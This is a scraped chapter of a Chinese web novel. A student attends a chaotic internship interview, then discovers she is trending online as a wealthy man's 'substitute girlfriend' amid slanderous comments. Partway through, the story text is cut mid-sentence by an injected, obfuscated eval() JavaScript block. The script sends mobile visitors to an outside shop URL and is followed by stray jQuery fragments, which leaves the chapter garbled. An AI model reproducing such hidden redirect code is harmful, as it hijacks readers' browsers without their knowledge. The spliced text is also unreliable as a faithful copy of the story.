文趣网 > 都市小说 > 替身也能万人迷吗 > 21. 奇怪的实习
    又一次走进天枢的大楼,江与微和前台报了自己的名字,顺利地拿到了临时通行证。

    她是来面试的。

    几乎是在她投递简历的两个小时内,就收到了hr的电话,和她约了面试时间。

    算法实习生,居然没有线上笔试。她问hr确定吗,hr非常确定地告诉她,“直接on-site就可以,业务部门现场会决定面试内容哦”。

    听起来很草台班子。于是收到面试确认的邮件时,江与微都有点怀疑,会不会是缅北黑客劫持了天枢的域名在给她发钓鱼邮件。但看到面试地址确实是她来过的这栋大楼,还是决定按时过来看一下。

    按邮件指示上了18层,核对了一下学生证以后,她被电梯口的员工领进一间小会议室,角落里坐着个头发乱糟糟的年轻女孩。

    “你也是来面试的吗?”她想套套近乎,了解一下情况。

    然而女孩眼皮都没抬,指了指她面前桌上的白纸,“二叉树锯齿遍历,二十分钟写完。”

    靠北。原来是面试官。

    而且,这是真·手撕代码,电脑都不带给的,直接纯手写啊……太硬核了吧。

    还好,题目很基础,甚至有点太过基础。她闭嘴坐下,唰唰地写了起来。

    “那个,你们好,请问是在这里笔试吗?”一个紧张到有些发抖的声音在门口响起。

    江与微抬头,看到一个中等个子的女生,穿着一身剪裁合体的羊毛西服,正拘谨地站在门口。

    乱发女孩依旧惜字如金:“对,二叉树锯齿遍历,二十分钟写完。”说着也分给她一张纸。

    西服女孩拘谨地坐下,随后也磕磕绊绊地写了起来。

    十分钟左右,江与微写完了。她刚放下笔,会议室的门就被直接推开,一个中年男人的头探了进来,嗓门还挺大:“小白,人来了吗?”

    被叫小白的女生走过来,chua地收走了江与微面前的纸,随手搁在一边:“你跟他走吧。”

    江与微注意到,她压根没看。

    “请问笔试这一轮是算我通过了吗?我用了一个优化过的方法,空间复杂度是O(1),可以和两位说明一下。”

    “不用了,赶紧的!”门口的中年男人朝江与微招手,“同学,来来来,先跟我走,领导等着呢。”

    江与微被带进隔壁一间更大的会议室。主位上坐了又一个脸上皱纹很多的男人,他上下打量了她几眼,鼻孔里发出了一声“嗯”。

    “能加班吗?”他上来的问题就很粗鲁,“我们这个项目刚起步,晚上搞到十一二点是常事,周末也可能要过来。”

    江与微点头:“可以。”

    到时候不可以那是到时候的事,面试的时候她什么都可以。

    “项目关键期可能要熬通宵,你撑得住?”

    “没问题。”

    如果以她的效率都要通宵,那说明领导都是瞎指挥的傻掉。

    “哦对了,京州那边总部偶尔有团建或者投资人会议,需要实习生去撑撑场面,没问题吧?机票住宿全包。”

    “……”

    江与微本来要说“没问题”,但……什么会议会需要实习生去“撑场面”?

    “到时候会提前通知你,请假方便吧?”

    “……方便。”

    “行!”领导一拍桌子,笑得像捡了金元宝,“一会儿HR给你发正式offer邮件。”

    直到走出天枢大楼,江与微仍旧沉浸在犹疑中。

    笔试,根本没看她的答卷。

    面试,像在招给领导扛姓李的——活着、能加班、能出差就行。

    正常面试,最起码也得意思意思问几个“你如何解决冲突”,“你最期待在这份实习中收获什么”之类的问题吧?这可是天枢的算法项目,居然可以这样潦草。

    “那个……同学!”

    身后响起的声音有些耳熟。

    江与微回头,原来是刚才会议室里一起写二叉树的女生。她穿着过分正式的羊毛西服,跑得有点急,脸颊微红。

    “你好!”

    女生在她面前站定,有些局促地整理了一下其实已经很平整的西服下摆。

    “……你好?”

    “我叫薛襄,也是来面试的……刚才在会议室,我看到你写得好快!而且你说空间复杂度可以做到O(1),能不能请教一下你是怎么写的呀?”她的眼睛亮晶晶的。

    江与微有点意外。

    没想到,面试官不在意她到底写了什么,一起面试的人却注意到了:“其实没有多复杂,你可以查一下一种叫做Morris遍历的方法。”

    “啊……谢谢……”薛襄没想到她这么爽快地就告诉她了,“我请你喝奶茶吧!”

    “不用了,小事。”江与微正要拒绝,但转念一想,这位说不定是日后的同事,提前认识一下也不坏,“AA吧。”

    “也行!”薛襄笑得很开心。

    两个人走到了八王茶记,一人一杯伯牙绝弦。

    “我是东大信管院的,大三。你呢?”

    “我是计院的,大二。”

    商业互吹了一番对方的学院专业,江与微发现薛襄挺真诚,就不再客套了,直接把自己的疑问说了出来:“你面试的时候有没有感觉哪里很怪?”

    薛襄不设防,竹筒倒豆子地开始讲述她的面试流程:

    “挺正常的呀,先笔试,就那个二叉树遍历,然后那个小白问了我的思路,还问了点项目经验和网络基础。接着是几个人围着我行为面,问遇到困难怎么办、团队合作啥的。最后是HR跟我聊入职时间。面试不都是这个流程嘛!”

    江与微更奇怪了,怎么和她的面试流程不一样?

    “怎么啦?”薛襄关切地问她。江与微正犹豫要不要告诉薛襄,就听到隔壁有人窃窃私语。

    “快看快看,是不是那个?”

    “哪个?……卧槽!好像真是!”

    “那个热搜?卫缺的新女朋友?”

    “对对对!莞莞类卿的嬛嬛……”

    卫缺?新女朋友?热搜?

    江与微回头,目光直视那几个人。

    “卧槽老夫的心脏……”

    “美得我有点想死……怪不得卫缺都沦陷了……”

    “很美,也是真的很像。”

    “简直一毛一样好吧……”

    他们在讨论她。江与微确信。

    薛襄也听到了那些议论,她立刻想到了什么,打开大眼,飞快地划拉了几下屏幕,把手机递到江与微面前——屏幕上赫然是东海本地同城热搜榜:

    #卫缺新女友曝光现实版莞莞类卿#

    点进话题,无数营销号发了她和苏雪迟的照片,让网友猜谁是谁。

    在江与微看来,实在很容易区分。照

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16340382|183081||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    片上的苏雪迟穿着各色旗袍,极尽优雅。而她的照片,不是监控里截的糊妈不认,就是穿着文化衫的游客照,这里面穿得最体面的还是那天晚宴的偷拍——偏偏她当时嘴里塞满了食物,看起来命很苦的样子。

    果然,网友的嘴没有放过她。

    [只有我觉得嬛嬛不如莞莞吗?气质差远了]

    [这有什么分不出来的,看衣服就知道了,低于一百块一件的就是新女友]

    评论区还有人问卫缺是谁,立马有人科普他的履历,再配一张本人照片,然后听取卧槽一片。

    [卧槽卫缺这颜值我可以]

    [兜兜转转爱上同一张脸,卫缺这么深情的吗?]

    [深情个屁,找个替身对前任和现任都不尊重吧]

    [破案了,他就好这口,清纯钓系]

    更难听的空口造谣也比比皆是。

    [这女的之前不是混夜场的吗?卫缺也下得去嘴?]

    [真的假的?有锤吗?]

    [不用锤,看面相就知道了,一脸捞女相]

    [听说她之前金主不止一个,现在攀上卫缺算是上岸了吧]

    [替身文学照进现实,但替身也太low了吧,苏雪迟好歹是名媛,这位……emmm]

    [你们懂什么,越low的越带劲]

    江与微闭上眼,拿起伯牙绝弦狠狠吸了一口:“咱们要不改天再约吧。”

    和薛襄道别后,江与微终于能静下心来,梳理当前的情况。

    以己度人一下,大眼的同城榜应该是一个没多少人会看的榜,传播范围有限。当务之急是尽快想办法处理掉这样的话题。

    至于怎么处理——

    这种舆情,卫缺也不会愿意见到吧?

    她拨通了江简的电话。

    “喂,是我。”她竭力维持声音的平稳。

    “嗯。怎么了?”他的声音一如既往地沉静。

    江与微以为自己足够冷静,但江简的声音一出现,一股强烈的酸涩就冲上了她鼻腔,她立刻抿紧嘴唇,急促地吸了口气,才重新贴近听筒:“我上热搜了。”

    “……”江简心头一紧,立马意识到发生了什么,他第一时间安抚她,“不怕,我来问一下情况。”

    “嗯……”江与微此刻的感受像迷路小狗终于找到了家:“好多人说我比苏雪迟差远了。”

    “他们都在乱说。”

    “会不会以后我都接不到单了,呜呜”

    江简愣了一下才意识到她说的“接单”是指什么,都到这地步了还想着挣那仨瓜俩枣呢。他都有点气笑了:“不许再接单了。”

    电话这端,江与微的眼泪无声且大朵大朵地在滑落。

    她在用胡言乱语遮掩她真实的感受。

    在别人面前随意流泪是很不成熟的表现。任何人只要见证了她的弱点,都会在未来的某一天,用尖刀刺穿这一处薄弱地地方。

    但这一刻,陌生的世界里,她急需找到一个支点。

    “那我等你消息……”她抽了抽鼻子,努力保持鼻子通气。

    江与微细微的抽噎声,透过手机,扎穿了江简的心脏。

    “别担心,事情会解决的。”江简声音沉稳。

    窗外的天色已经彻底暗下来,办公室里只开了一盏台灯,昏黄的光把他高大的身影投在身后深色的实木书柜上,像一道沉默的山脊。